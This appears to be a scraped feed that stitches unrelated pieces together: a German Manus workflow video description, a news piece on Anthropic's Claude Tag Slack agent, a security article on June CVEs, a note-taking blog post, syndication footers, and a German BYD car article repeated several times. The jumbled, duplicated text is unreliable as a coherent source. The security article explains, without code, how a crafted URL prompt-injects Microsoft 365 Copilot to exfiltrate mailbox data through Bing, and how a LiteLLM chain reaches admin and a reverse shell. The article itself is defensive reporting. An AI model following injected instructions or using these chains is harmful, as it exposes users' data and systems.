In diesem Video teste ich einen bewusst datenschutzbewussteren Workflow mit Manus. Ich lade keine Kundendaten, keine CRM-Exporte, keine Verträge und keine personenbezogenen Freitexte hoch. Stattdessen arbeiten wir mit aggregierten KPIs, anonymisiertem Feedback und öffentlichen Marktinformationen.

Daraus soll Manus einen Business-Report erstellen: mit Executive Summary, KPI-Überblick, Chancen, Risiken, nächsten Schritten, einer kleinen Präsentation und einer Team-Mail.
Wichtig: Das ist keine Rechtsberatung und ersetzt keine Datenschutzprüfung. Aber es zeigt einen praktischen Ansatz, wie man KI-Agenten im Business sinnvoller und bewusster einsetzen kann.

Werde Kanalmitglied und unterstütze damit unsere Arbeit:
https://www.youtube.com/channel/UCv90NdTyTp7ZPPRvvSZaS5w/join

Videoinhalt:
00:00 Den KI-Agenten Manus sicher im beruflichen Umfeld einsetzen
01:28 Start unseres Arbeits-Projekts mit sicheren Daten
02:48 Der erste Prompt in unserem Projekt
05:02 Kritische Prüfung der Ergebnisse mit KI-Unterstützung
07:05 Der zweite Schritt auf dem Weg zum Workflow
09:15 Interaktive Ausgaben mit Manus erstellen
10:56 Automatische Aktualisierung des Dashboards mit Projekt-Dateien
13:40 Sicheres Arbeiten mit KI-Agenten im Beruf auch ohne eigene Daten
17:35 Automatische Markt-Überwachung mit Manus einrichten
18:14 Ergebnisse in Notion speichern mit einer Verbindung von Manus
21:34 KI-Agenten sind bei der Arbeit immer einsetzbar - man muss nur wissen wie!

Videovorschläge, Feedback und Kritik kannst Du uns jederzeit in den Kommentaren mitteilen!

Read more of this story at Slashdot.

You're reading Fed up with complex note taking apps? Try Whisp for Linux, a blog post from OMG! Ubuntu. Do not reproduce elsewhere without permission.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

The product, available today in beta for Claude Enterprise and Team customers, replaces Anthropic's existing Claude in Slack app and represents the company's most aggressive move yet to colonize the enterprise collaboration layer — the place where decisions get made, work gets assigned, and institutional knowledge accumulates in real time.

For enterprise technology leaders who have spent the past two years evaluating where AI fits into their operational stack, Claude Tag reframes the question entirely. This is not a chatbot, a coding assistant, or a search tool bolted onto a messaging platform. It is an AI agent designed to function as a standing member of a team — one that builds memory, takes initiative, works asynchronously, and interacts with every person in a channel rather than serving a single user. The implications for enterprise workflow, governance, and vendor strategy are significant.

Anthropic says 65% of its own product team's code is now created by its internal version of Claude Tag, and the company runs internal support and data insight channels through the same system. The claim is striking: Anthropic is asserting that the majority of its own product engineering output already flows through the tool it just put in customers' hands.

How Claude Tag works inside enterprise Slack channels

At its core, Claude Tag works like this: an administrator pairs it with a Slack workspace, grants it access to specific tools and data sources, sets spending limits, and defines which channels it can operate in. From that point on, any team member in those channels can tag @Claude with a request — write a pull request, pull sales numbers, run a data analysis — and Claude will break the task into stages, execute them using the tools it has access to, and respond in a Slack thread with the result. The product runs on Claude Opus 4.8, the model Anthropic released less than a month ago.

Four capabilities differentiate Claude Tag from its predecessors and from competing integrations. First, it is multiplayer. Within a given Slack channel, there is one Claude that interacts with everyone, not a separate instance per user. Anyone can see what it is working on, and anyone can pick up the conversation where the last person left off. This is a direct contrast to most existing AI integrations in Slack, which tend to operate as single-player tools.

Second, it learns over time. As Claude follows along with its channel, it accumulates context about the work happening there. Users do not need to re-explain projects from scratch. If granted permission, Claude can also pull context from other Slack channels and data sources, though Anthropic says it will not report from private channels. Third, it takes initiative. With ambient behavior enabled, Claude will proactively surface relevant information from across the channels it monitors and the tools it is connected to, and will follow up on threads or tasks that have gone quiet without resolution. This is a notable expansion of agency: Claude is not just responding to requests but monitoring the information environment and deciding what its human teammates need to know. Fourth, it works asynchronously, pursuing projects autonomously over hours or days. Anthropic says its own teams "now spend much more of our time delegating tasks to many Claudes in parallel."

Enterprise security controls and administrative governance get a central role

Anthropic has designed the system with enterprise-grade isolation at its center. System administrators define separate Claude identities for different uses, scoped to specific channels with specific tools and data access. Everything, including Claude's accumulated memories, stays within those boundaries. A Claude configured for sales work will not share memories or data access with one configured for engineering.

Administrators can set token-spend limits at both the organizational and channel level, and can review a complete log of every action Claude has taken and which user requested each task. For organizations managing compliance, audit, or regulatory requirements, this logging and scoping architecture is table stakes — and its absence has been a dealbreaker for many enterprises evaluating AI collaboration tools over the past year.

Migration from the existing Claude in Slack app requires an administrator opt-in within 30 days, and Anthropic says it is issuing introductory launch credits to eligible Enterprise and Team organizations. The four-step setup process — pair with Slack, connect tools, set spend limits, test in a private channel — is designed to reduce friction for IT teams already managing sprawling SaaS portfolios.

The Slack battleground is now the most contested real estate in enterprise AI

Claude Tag arrives in the middle of what has become the most fiercely contested territory in enterprise AI: the Slack channel. Slack itself has been aggressively positioning the platform as an "agentic operating system," and the major AI players have responded by racing to plant their flags.

Salesforce, which acquired Slack for $27.7 billion in 2021, announced more than 30 new capabilities for Slackbot in March — the most sweeping overhaul of the platform since the acquisition — transforming it from a simple conversational assistant into a full-spectrum enterprise agent. OpenAI introduced "Workspace Agents" in April, allowing enterprise subscribers to design agents that take on work tasks across third-party apps including Slack, Google Drive, Microsoft apps, Salesforce, and Notion. Perplexity launched its enterprise "Computer" agent with direct Slack integration, letting employees query @computer directly inside Slack channels. Cognition's Devin, the autonomous AI software engineer, has been built around Slack as a primary interface since its early days. Even Microsoft has brought GitHub Copilot into Teams.

The logic driving this convergence is straightforward: the average enterprise juggles over 1,000 applications, and employees waste countless hours on context switching, draining productivity by up to 40%. Whichever AI system becomes the default presence in the communication layer where work is coordinated gains an enormous distribution advantage — and, critically, an enormous data advantage. The AI that lives in the channel where work happens absorbs the institutional context that makes it increasingly difficult to replace.

Anthropic built Claude Tag on a foundation two years in the making

To understand Claude Tag's strategic significance, it helps to trace the product arc that led to it. Anthropic first integrated Claude with Slack in October 2025, offering two-way connectivity: users could invoke Claude from within Slack or connect Slack as a data source for Claude's chatbot. As TechCrunch reported at the time, the initial integration was focused on individual productivity — direct messages, AI assistant panels, and thread participation. In January 2026, Anthropic expanded Claude's Slack presence when it launched interactive Claude apps, which TechCrunch's Russell Brandom reported included workplace tools like Slack, Canva, Figma, Box, and Clay.

In parallel, Anthropic was building out its enterprise infrastructure stack. As TechCrunch reported in August 2025, the company bundled Claude Code into enterprise plans, a move its product lead Scott White called "the most requested feature from our business team and enterprise customers." In April 2026, Anthropic launched Claude Managed Agents, a suite of composable APIs for building and deploying cloud-hosted AI agents at scale, with early adopters including Notion, Rakuten, Asana, and Sentry. As The New Claw Times reported, the move positioned Anthropic "as a direct competitor to AWS Bedrock Agents and Google Vertex Agent Builder."

Then came Claude Opus 4.8 in late May, which Anthropic described as "a more effective collaborator" with "sharper judgement, more honesty about its progress, and the ability to work independently for longer than its predecessors." As 9to5Mac reported, benchmark improvements included a jump in agentic coding scores from 64.3% to 69.2% and a knowledge work score increase from 1753 to 1890. Claude Tag is the synthesis of all of these threads — combining the Slack channel presence, the enterprise security architecture, the Managed Agents infrastructure, and the Opus 4.8 model's improved agentic capabilities into a single product that Anthropic frames as "the beginning of an evolution of Claude Code."

Anthropic's explosive growth explains why it is betting big on the collaboration layer

The financial stakes behind this launch are enormous. Anthropic raised $65 billion in Series H funding in late May at a $965 billion post-money valuation, and its run-rate revenue crossed $47 billion earlier this month. Claude Code's run-rate revenue alone has grown to over $2.5 billion, more than doubling since the beginning of 2026, and enterprise use has grown to represent over half of all Claude Code revenue.

Those numbers explain why Anthropic is investing so heavily in channel-level presence. Every enterprise customer who grants Claude persistent access to a Slack channel — with connected tools, accumulated context, and ambient monitoring enabled — represents a dramatically deeper integration than a chatbot conversation or an API call. The usage patterns become stickier, the token consumption grows, and the switching costs rise. Deloitte's deployment of Claude across more than 470,000 employees in 150 countries — reportedly its largest-ever enterprise AI deployment — illustrates the scale at which these dynamics play out.

The broader market trajectory reinforces the bet. Fortune Business Insights projects the global agentic AI market will grow from $9.14 billion in 2026 to $139 billion by 2034, and Gartner forecasts that 40% of enterprise applications will feature task-specific AI agents by 2026, up from less than 5% in 2025. Anthropic is not alone in seeing this future, but with Claude Tag it is making one of the most direct plays yet to own the enterprise agent layer.

The risks enterprise buyers need to weigh before granting Claude a permanent seat at the table

Claude Tag raises several questions that enterprise buyers will need to evaluate carefully. The first is vendor dependency. As The New Stack noted when analyzing Claude Managed Agents earlier this year, once an organization's agents, operational configurations, and monitoring run on Anthropic's managed infrastructure, switching costs increase significantly. Claude Tag deepens this dynamic: a Claude that has accumulated months of channel context and institutional memory becomes very difficult to replace. Enterprise procurement teams accustomed to negotiating multi-cloud flexibility will need to think hard about what it means to give a single vendor's AI persistent access to the communication layer where institutional knowledge lives.

The second is governance around ambient monitoring. The proactive behavior mode — in which Claude monitors channels and surfaces information it decides is relevant — represents a meaningful expansion of what enterprise AI systems do. Organizations will need to develop clear frameworks for an AI agent that is not just responding to requests but actively surveilling information flows and making editorial judgments about what humans need to know. For regulated industries, this raises questions that existing AI governance policies may not yet address.

The third is pricing. Anthropic has not published detailed pricing for Claude Tag beyond noting that it runs on token-based spending with administrative controls. For an agent that monitors channels continuously, builds memory, and works asynchronously over hours or days, the token consumption profile could look very different from traditional AI usage. And the fourth is reliability: Anthropic has been candid in recent months about infrastructure strain caused by surging demand, and for a product positioned as an always-on team member, downtime carries a different kind of cost than it does for a tool invoked on demand.

What Claude Tag signals about the future of enterprise work

Anthropic says its goal is to expand Claude Tag beyond Slack "so that teams can tag @Claude in the many other places they work." The company is clearly eyeing the full collaboration surface — Microsoft Teams, email, project management tools, and beyond. If Claude Tag succeeds, it will validate a model of enterprise AI that looks less like a tool and more like a new category of worker: one that never sleeps, never forgets what was discussed in the channel last Tuesday, and never needs to be onboarded twice.

But the deeper significance of this launch may be what it reveals about the competitive dynamics reshaping enterprise software. For decades, the most valuable real estate in business technology was the system of record — the database, the CRM, the ERP. The current AI arms race suggests that the next era of enterprise value will be captured not by the system that stores the data, but by the agent that sits in the room where the work happens and understands what to do with it. Anthropic just gave that agent a name, a permanent seat in the channel, and permission to speak up when it thinks it has something to say. The question for every enterprise technology leader is no longer whether that agent will arrive. It is whether they are ready to manage it when it does.

On June 15, Varonis disclosed SearchLeak (CVE-2026-42824), a proof-of-concept exfiltration chain in Microsoft 365 Copilot Enterprise Search. A victim clicks a crafted microsoft.com URL, Copilot searches their mailbox, and the data leaves through a Bing SSRF. No plugins, no second click, no visible indicator. Four days earlier, Obsidian Security published a three-CVE chain against LiteLLM that carried a default low-privilege user all the way to admin and remote code execution. Two tools. Two teams. One broken boundary.

The five-check audit at the end of this article maps each gap to a CVE or a market signal from June, a command you can run before lunch, and a sentence a CISO can read to the board.

Copilot turned a trusted URL into an exfiltration engine

SearchLeak chained three weaknesses into a silent data-theft chain. The URL q parameter fed attacker instructions straight to Copilot’s LLM. A rendering race condition fired an image tag before the output sanitizer ran. Bing’s image-search endpoint, allowlisted in the Content Security Policy, routed the stolen data out. Microsoft rated the flaw critical and patched it on the back end, according to Varonis. NVD has not yet scored it; a third-party tracker lists it at 6.5 medium. The severity is contested, but the mechanism is not.

The escalation is the real story. This is the third Varonis Copilot exfiltration chain in twelve months, after Reprompt in January and EchoLeak in 2025. Reprompt hit Copilot Personal. SearchLeak hit Enterprise Search. Enterprise inherits the user’s full organizational permissions, so the blast radius is everything that a user can reach.

LiteLLM handed a default account to every provider key

The LiteLLM gateway holds the keys for OpenAI, Anthropic, Azure, and Bedrock behind a single proxy. The Obsidian chain runs in three moves. CVE-2026-47101, an authorization bypass, lets a non-admin mint a wildcard API key. CVE-2026-47102 promotes that caller to proxy admin through an unguarded /user/update endpoint. CVE-2026-40217 escapes the code sandbox through exec() with full builtins. Obsidian then demonstrated a reverse shell by injecting a forged tool-call response through LiteLLM’s callback mechanism. Obsidian assessed the combined chain at CVSS 9.9. The developer typed one word. The attacker popped a shell.

A separate LiteLLM flaw made the urgency immediate. CVE-2026-42271, a command-injection bug in the MCP test endpoints, landed on the CISA KEV list on June 8 with a June 22 remediation deadline. That KEV entry is not the Obsidian chain. The two are distinct disclosures four days apart, fixed in different releases, pointed at the same gateway. LiteLLM carries more than 40,000 GitHub stars and sits in thousands of enterprise deployments. This is not the first scare, either. A supply-chain compromise backdoored LiteLLM versions 1.82.7 and 1.82.8 on PyPI in March. A compromised gateway exposes every provider credential the organization holds.

Langflow and Mini Shai-Hulud proved the pattern scales

The same boundary broke in two more tools in the same fortnight. Langflow CVE-2026-5027 became the third Langflow remote-code-execution flaw to hit active exploitation this year. A path traversal in file upload lets an attacker write files anywhere on disk, and because Langflow ships with auto-login enabled by default, a single unauthenticated request reaches RCE. VulnCheck confirmed exploitation on June 9. Censys counted roughly 7,000 exposed instances, the heaviest concentration in North America, with MuddyWater attribution.

The Mini Shai-Hulud campaign hit a different pressure point. After the worm’s source code went public on May 12, copycat variants compromised 32 Red Hat Cloud Services npm packages on June 1, packages pulled 80,000 times a week. The worm harvests more than 20 credential types and self-propagates under the compromised maintainer’s identity.

Four teams, four tools, one operating failure. The bug classes differ. SearchLeak is a prompt injection. LiteLLM is privilege escalation. Langflow is path traversal. Mini Shai-Hulud is supply-chain poisoning. The boundary that broke is the same in all four.

The market already repriced the risk

CrowdStrike’s Q1 FY27 earnings call put a number on the gap. AIDR, the company’s AI detection and response line, grew ending ARR more than 250% sequentially, with a Q2 pipeline above $50 million (SEC-filed 8-K). Total company ARR reached $5.51 billion, and CrowdStrike’s fleet telemetry shows more than 1,800 agentic applications running across enterprise endpoints.

On June 17, the company extended AIDR to AWS, adding real-time evaluation of agent, LLM, and MCP communications across Amazon Bedrock, Kiro, and Strands Agents, building on its work with Anthropic’s Project Glasswing. Daniel Bernard, CrowdStrike’s chief business officer, said the AI attack surface now spans development, runtime, identities, and cloud infrastructure, and that teams treating those as separate domains leave the gaps between them open.

Practitioners name the same gap in plainer terms

David Levin, CISO at American Express Global Business Travel, told VentureBeat the pattern does not surprise him. “We kind of have this shadow AI, which is just the new version of shadow IT,” Levin said.

Both Langflow and LiteLLM fit the description. Teams stood them up for convenience, gave them credentials, and never brought them under governance. Levin puts the fix before deployment. “We didn’t go into this with just saying we’re going to go do this without the right fundamentals,” he said. “We leverage NIST controls. NIST has released their CSF along with their AI framework. OWASP released their top 10. You need the right fundamentals before you deploy.”

Merritt Baer, CSO at Enkrypt AI and former AWS Deputy CISO, named the structural version of the failure in a separate VentureBeat interview. “Enterprises believe they’ve ‘approved’ AI vendors, but what they’ve actually approved is an interface, not the underlying system,” Baer said. “The real dependencies are one or two layers deeper, and those are the ones that fail under stress.” She has tied that directly to how systems fall. “Raw zero-days aren’t how most systems get compromised. Composability is,” Baer told VentureBeat. “It’s the glue between the model and your data where the risk lives. If you give an agent bash and a root token, you’ve already done most of the attacker’s work for them.” That is what rows 2 and 4 of the audit test: the gateway that holds every key, and the agent identity no one governs.

Levin had a sharper frame for the boardroom. “You need to talk more in terms of risk versus compliance to your boards and your executives,” he said. “It’s not about the size of the engineering team anymore. It’s the size of your imagination. It’s all written in plain English. It’s not hard for anyone.” Neither SearchLeak nor LiteLLM needed custom malware or a zero-day to work.

Adam Meyers, CrowdStrike’s SVP of Intelligence, put the operational squeeze in numbers in an exclusive VentureBeat interview. “The problem is not zero-day. The problem is patching. If you 10x that problem, they’re gonna be completely underwater,” Meyers said. He pointed to identity as the second front. “Some of these AI have their own identities, or people give their identity to the AI to take action on their behalf, and that makes it a very complex problem.”

The five-check trust-boundary audit

Each row maps a gap to its proof point, a verification command for Monday morning, the fix, and the sentence to read to the board.

The fix is plumbing, not policy

The June 2 executive order creates an AI Cybersecurity Clearinghouse with a July 2 deadline. The five gaps above are not frontier-model problems. They are plumbing problems in the gateways, orchestration platforms, identity layers, and runtime environments where AI meets the enterprise.

The audit is five rows. Every row maps to a June disclosure or market signal, a command a team can run before lunch, and a sentence a CISO can read to the board. The question is not whether your vendor will patch. It's whether you find the gap first — or whether an attacker finds it the way they found Copilot and LiteLLM.

How To Effectively Take Notes That Not Only Boost Your Memory But Also Make Others Worth Reading

Whether you are in any technical, non-technical, financial, or medical field, you must have taken notes, whether for your career or yourself.

And if you haven’t created your own notes, believe me, after this blog, you will surely start making your own notes.

Why Take Notes?

Before understanding “How to Take Notes Effectively”, we have to understand “Why Even Take Notes in the First Place?”

The main objective of taking any notes depends upon your own intentions.

• Whether you want to publish them
• Whether you want to share them with your friends, colleagues, classmates or professors
• Whether you keep them private for yourself
• Whether you want to keep remembering specific details and topics
• Whether you want to make a summary or brief point downs

[ One Thing will be common ]

Which is your intention/objective. This small thing can even increase your notes' effectiveness from 2x to 4x times.

Your Objective Answers “Why Your Notes Exist”

How to Improve Your Notes? (Avoid common mistakes)

Let’s go straight forward towards improving your notes.

To improve your notes, the first step is

[1] Identify What to Note?

• Not every word, every line should be noted in the notes. It’s just like if you were highlighting almost every line on a page while reading a book.
• Solution: You should select specific line or words that gives the meaning or fulfils the purpose of the concept you are making notes on.

[2] How to Note?

• Many people don’t really fully understand the concept. They read or understand one line and write a note, and then another line and so on.
• Solution: You first have to learn the whole concept, and then should abstract it and make notes.

[3] Avoid Common Mistake

• Avoid Unstructured Notes: Always make notes in a structured way. (i.e. Index, Aim, Concept, Description, Summary). It depends on the objective of the note.
• Avoid Too Many Highlights in Notes: Not many words need to be highlighted or bold from each line. Highlighting many words makes it hard to grasp concepts.
• Avoid Copy/Paste: Many of you have at least “copy and paste” as it is in the notes. Instead, you should take notes in your own language as you were explaining it to someone. This will make your notes highly understandable and help you retain information in the long term.
• Avoid Taking Notes on Note-Taking Apps: If you were taking notes on simple applications (i.e. Google Notes, Notepad, Notepad++, Sticky Notes, etc). It’s time to move on to other applications.

Note-Taking Applications

The Note-Taking applications are specifically designed to make the note-taking process faster, easier and more effective.

Google Notes is quite good, but only for making short notes. If you are making very large notes, you should avoid Google Notes, as there are some better options available.

There are plenty of applications available in the market. And I have used many applications to test whether they’re user-friendly and convenient.

I won’t assume that you only use laptops and desktops for taking notes. Instead, I will assume that you can take and review your notes whenever you want, whether you only have your laptop, your computer, or your mobile.

So, once you make notes, you can also access them from different devices.

Some of the best tools I have used,

[1] Notion

The reason I put Notion on no. 1 is simple. Its features, UI, and Integrations.

• Notion’s beginner-friendly UI makes the note-taking process easy.
• Notion’s suite helps you map your activity and notes synchronizly. (i.e. Notion, Notion Calendar, Notion Mail)
• It integrates with many applications.
• It also supports integrated Notion AI.
• It is cross-platform.

[2] Obsidian

Obsidian is also very popular among note-taking apps. It is known for

• Its awesome UI and theme.
• cross-platform.
• Canvas, Graphs and Links.
• Publications.
• Integrated features and plugins.

[3] OneNote from Microsoft

OneNote is one of the most popular for

• Cross-platform
• Cloud storing notes
• Integrated Copilot
• Collaboration
• Advanced Features (i.e. Sketch, voice transcription)

You may use any of these tools as per your convenience.

Conclusion

Making good and effective notes helps you recall things, tracking your progress, day-to-day activity, planning and preparation.

Using good software helps you increase your efficiency & effectiveness of the notes. Not only softwares, but how you make notes decides how deeply you understan the concept and how effectively you can explain it to other (Skilling up: Grasping + Presentation).

Like and share this to your friends and colleagues. Help them improve because the better you make notes, the better you will understand the concept.

Also let me know in the comments,

• Have you used or currently using one of these applications before for taking notes?
• What features of them do you like the most?
• What other note-taking app do you use?

See you in the next blog.

Keep Learning — Keep Growing

The Art of Taking Notes was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Asha Sharma’s Xbox Plan Puts Fallout Back in Focus, and Obsidian Looks Like the Right Studio appeared first on OnMSFT.

Dieser Beitrag LiteLLM-Patch schließt CVE-Kette: Angriff von Admin bis Code-Execution erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post LiteLLM Vulnerability Chain Lets Low-Privilege Users Take Over AI Gateway Servers appeared first on IT Security News.

Der BYD Dolphin G DM-i feiert im Juni 2026 in Berlin Premiere und positioniert sich im europäischen B-Segment, also in derselben Klasse wie viele der beliebtesten Kleinwagen Europas. Das Modell ist 4,16 Meter lang (425 Liter Kofferraumvolumen; durch Umklappen der im Verhältnis 40:60 geteilten Rücksitzlehnen lässt sich das Volumen auf bis zu 1225 Liter erweitern) und gehört gleichzeitig zu den wenigen Plug-in-Hybriden dieser Klasse, die einen klaren Schwerpunkt auf längere Reichweiten im Elektrobetrieb legen.

BYD nutzt die firmeneigene DM-i-Technologie (Dual Mode Intelligence), bei der Elektromotor (120 kW/163 PS, 210 Newtonmeter Drehmoment) und Benzinmotor (1,5 Liter Hubraum) je nach Fahrsituation zusammenarbeiten. Damit beschleunigt das Fahrzeug in nur 8,3 Sekunden von 0 auf 100 km/h. Laut BYD soll das Fahrzeug einen Großteil der täglichen Pendelfahrten elektrisch bewältigen können, während die Gesamtreichweite bei 1.040 Kilometern liegen soll (bei voller Ladung und vollem Tank).

Die rein elektrische Reichweite gibt BYD mit der größeren Batterie (18,3 Kilowattstunden) mit 105 Kilometern an. Den Kraftstoffverbrauch gibt BYD mit nur 1,4 Litern pro 100 Kilometer an – bei vollständig geladener Batterie. Bei der kleineren Batterie mit 7,42 Kilowattstunden seien eine rein elektrische WLTP-Reichweite von 40 Kilometern und eine Gesamtreichweite von 1020 Kilometern möglich, wie BYD verspricht.

Im EV-Modus agiert das Fahrzeug wie ein reines Elektroauto: Es nutzt nur die Energie der Batterie, und der Benzinmotor bleibt so lange ausgeschaltet, bis der Ladezustand der Batterie auf ein bestimmtes Niveau abgesunken ist. Dabei kommt ausschließlich der Elektromotor zum Einsatz, der beim Bremsen Energie rekuperiert und die Batterie auflädt.

Aufladen: Die Active-Modelle verfügen über einen On-Board-Charger mit 3,3 kW, der die Batterie in knapp unter drei Stunden von 15 auf 100 Prozent aufladen soll. Die Versionen Boost, Comfort und Sport erhöhen die Ladeleistung auf 6,6 kW und bieten zusätzlich eine DC-Schnellladefunktion mit bis zu 39 kW. Damit soll die 18,3-Kilowattstunden-Batterie in 26 Minuten von 10 auf 80 Prozent aufladen.

Zur Ausstattung gehören Leichtmetallräder – 16 Zoll bei den Ausstattungen Active und Boost, 18 Zoll im Zweiton-Design in der Comfort-Linie sowie 18 Zoll in Glanzschwarz in der Sport-Version –, LED-Rückleuchten, 8,8‑Zoll‑Digitalinstrument und Infotainment‑Bildschirm (wahlweise mit 10,1 oder 12,8 Zoll Diagonale).

Fahrerassistenzsysteme

Serienmäßig sind alle Versionen mit Front- und Heckparksensoren ausgestattet. Die Varianten Active und Boost bieten zusätzlich eine Rückfahrkamera, während Comfort und Sport dieses System mit einer 360-Grad-Kamera für eine optimale Rundumsicht erweitern.

Zur Fahrerassistenz gehören in allen Ausstattungslinien unter anderem ein adaptiver Tempomat sowie ein intelligenter Tempomat, ein Notfall-Spurhalteassistent und Spurverlassenswarner, Front- und Heck-Querverkehrswarner inklusive Querverkehrsbremsfunktion, Totwinkelwarner, ein Fahrerüberwachungssystem sowie eine Ausstiegswarnung.

Es gibt den BYD Dolphin G DM-i in vier Ausstattungsvarianten und in vier Metallic-Farben: Skiing White (Weiß), Time Grey (Grau), Obsidian Black (Schwarz) und Ocean Blue (Blau), sowie in Uni Oxford White (Weiß) und dem Perleffekt-Lack Orange Sunset (Orange).

Vollständige technische Spezifikationen oder Preise hat BYD noch nicht bekannt gegeben. Der Dolphin G DM-i wird in den kommenden Wochen in Europa in den Verkauf gehen und soll voraussichtlich im Frühherbst in Deutschland ausgeliefert werden. Es ist das erste Mal, dass BYD ein Modell von Grund auf speziell für internationale Märkte entwickelt, wobei Europa als klarer Zielmarkt im Fokus steht.

BYD

Mehr zu BYD lesen (Auto-Testberichte):

• BYD Sealion 7 im Test: Komfortabler Elektro-SUV mit nervigen Warnsystemen
• BYD Seal im Test: Konkurrenz für Tesla? Die Antwort!
• BYD Dolphin im Test: Kein Traumauto, aber ein echter Konkurrent in der Einsteigerklasse
• 472,41 km/h: Elektro-Supersportwagen BYD Yangwang U9 fährt Geschwindigkeitsweltrekord

Wie alles begann:

Tesla und BYD im Vergleich – wer hat die Nase vorn? Wir haben 2023 die beiden Marken miteinander verglichen. Damals war das Kürzel BYD noch nicht jedem Auto-Interessierten ein Begriff. Obwohl im Jahr 2022 der chinesische Autohersteller BYD mit damals mehr als 1,85 Millionen verkauften E-Autos den bisherigen Branchenprimus Tesla überholt hatte und seitdem als weltweit größter Hersteller für Elektrofahrzeuge gilt.

Quelle

Der BYD Dolphin G DM-i feiert im Juni 2026 in Berlin Premiere und positioniert sich im europäischen B-Segment, also in derselben Klasse wie viele der beliebtesten Kleinwagen Europas. Das Modell ist 4,16 Meter lang (425 Liter Kofferraumvolumen; durch Umklappen der im Verhältnis 40:60 geteilten Rücksitzlehnen lässt sich das Volumen auf bis zu 1225 Liter erweitern) und gehört gleichzeitig zu den wenigen Plug-in-Hybriden dieser Klasse, die einen klaren Schwerpunkt auf längere Reichweiten im Elektrobetrieb legen.

BYD nutzt die firmeneigene DM-i-Technologie (Dual Mode Intelligence), bei der Elektromotor (120 kW/163 PS, 210 Newtonmeter Drehmoment) und Benzinmotor (1,5 Liter Hubraum) je nach Fahrsituation zusammenarbeiten. Damit beschleunigt das Fahrzeug in nur 8,3 Sekunden von 0 auf 100 km/h. Laut BYD soll das Fahrzeug einen Großteil der täglichen Pendelfahrten elektrisch bewältigen können, während die Gesamtreichweite bei 1.040 Kilometern liegen soll (bei voller Ladung und vollem Tank).

Die rein elektrische Reichweite gibt BYD mit der größeren Batterie (18,3 Kilowattstunden) mit 105 Kilometern an. Den Kraftstoffverbrauch gibt BYD mit nur 1,4 Litern pro 100 Kilometer an – bei vollständig geladener Batterie. Bei der kleineren Batterie mit 7,42 Kilowattstunden seien eine rein elektrische WLTP-Reichweite von 40 Kilometern und eine Gesamtreichweite von 1020 Kilometern möglich, wie BYD verspricht.

Im EV-Modus agiert das Fahrzeug wie ein reines Elektroauto: Es nutzt nur die Energie der Batterie, und der Benzinmotor bleibt so lange ausgeschaltet, bis der Ladezustand der Batterie auf ein bestimmtes Niveau abgesunken ist. Dabei kommt ausschließlich der Elektromotor zum Einsatz, der beim Bremsen Energie rekuperiert und die Batterie auflädt.

Aufladen: Die Active-Modelle verfügen über einen On-Board-Charger mit 3,3 kW, der die Batterie in knapp unter drei Stunden von 15 auf 100 Prozent aufladen soll. Die Versionen Boost, Comfort und Sport erhöhen die Ladeleistung auf 6,6 kW und bieten zusätzlich eine DC-Schnellladefunktion mit bis zu 39 kW. Damit soll die 18,3-Kilowattstunden-Batterie in 26 Minuten von 10 auf 80 Prozent aufladen.

Zur Ausstattung gehören Leichtmetallräder – 16 Zoll bei den Ausstattungen Active und Boost, 18 Zoll im Zweiton-Design in der Comfort-Linie sowie 18 Zoll in Glanzschwarz in der Sport-Version –, LED-Rückleuchten, 8,8‑Zoll‑Digitalinstrument und Infotainment‑Bildschirm (wahlweise mit 10,1 oder 12,8 Zoll Diagonale).

Fahrerassistenzsysteme

Serienmäßig sind alle Versionen mit Front- und Heckparksensoren ausgestattet. Die Varianten Active und Boost bieten zusätzlich eine Rückfahrkamera, während Comfort und Sport dieses System mit einer 360-Grad-Kamera für eine optimale Rundumsicht erweitern.

Zur Fahrerassistenz gehören in allen Ausstattungslinien unter anderem ein adaptiver Tempomat sowie ein intelligenter Tempomat, ein Notfall-Spurhalteassistent und Spurverlassenswarner, Front- und Heck-Querverkehrswarner inklusive Querverkehrsbremsfunktion, Totwinkelwarner, ein Fahrerüberwachungssystem sowie eine Ausstiegswarnung.

Es gibt den BYD Dolphin G DM-i in vier Ausstattungsvarianten und in vier Metallic-Farben: Skiing White (Weiß), Time Grey (Grau), Obsidian Black (Schwarz) und Ocean Blue (Blau), sowie in Uni Oxford White (Weiß) und dem Perleffekt-Lack Orange Sunset (Orange).

Vollständige technische Spezifikationen oder Preise hat BYD noch nicht bekannt gegeben. Der Dolphin G DM-i wird in den kommenden Wochen in Europa in den Verkauf gehen und soll voraussichtlich im Frühherbst in Deutschland ausgeliefert werden. Es ist das erste Mal, dass BYD ein Modell von Grund auf speziell für internationale Märkte entwickelt, wobei Europa als klarer Zielmarkt im Fokus steht.

BYD

Mehr zu BYD lesen (Auto-Testberichte):

• BYD Sealion 7 im Test: Komfortabler Elektro-SUV mit nervigen Warnsystemen
• BYD Seal im Test: Konkurrenz für Tesla? Die Antwort!
• BYD Dolphin im Test: Kein Traumauto, aber ein echter Konkurrent in der Einsteigerklasse
• 472,41 km/h: Elektro-Supersportwagen BYD Yangwang U9 fährt Geschwindigkeitsweltrekord

Wie alles begann:

Tesla und BYD im Vergleich – wer hat die Nase vorn? Wir haben 2023 die beiden Marken miteinander verglichen. Damals war das Kürzel BYD noch nicht jedem Auto-Interessierten ein Begriff. Obwohl im Jahr 2022 der chinesische Autohersteller BYD mit damals mehr als 1,85 Millionen verkauften E-Autos den bisherigen Branchenprimus Tesla überholt hatte und seitdem als weltweit größter Hersteller für Elektrofahrzeuge gilt.

The post Plesk Obsidian 18.0.78: Automatic Let’s Encrypt Mail Security and MFA Flexibility appeared first on Plesk.

Der BYD Dolphin G DM-i feiert im Juni 2026 in Berlin Premiere und positioniert sich im europäischen B-Segment, also in derselben Klasse wie viele der beliebtesten Kleinwagen Europas. Das Modell ist 4,16 Meter lang (425 Liter Kofferraumvolumen; durch Umklappen der im Verhältnis 40:60 geteilten Rücksitzlehnen lässt sich das Volumen auf bis zu 1225 Liter erweitern) und gehört gleichzeitig zu den wenigen Plug-in-Hybriden dieser Klasse, die einen klaren Schwerpunkt auf längere Reichweiten im Elektrobetrieb legen.

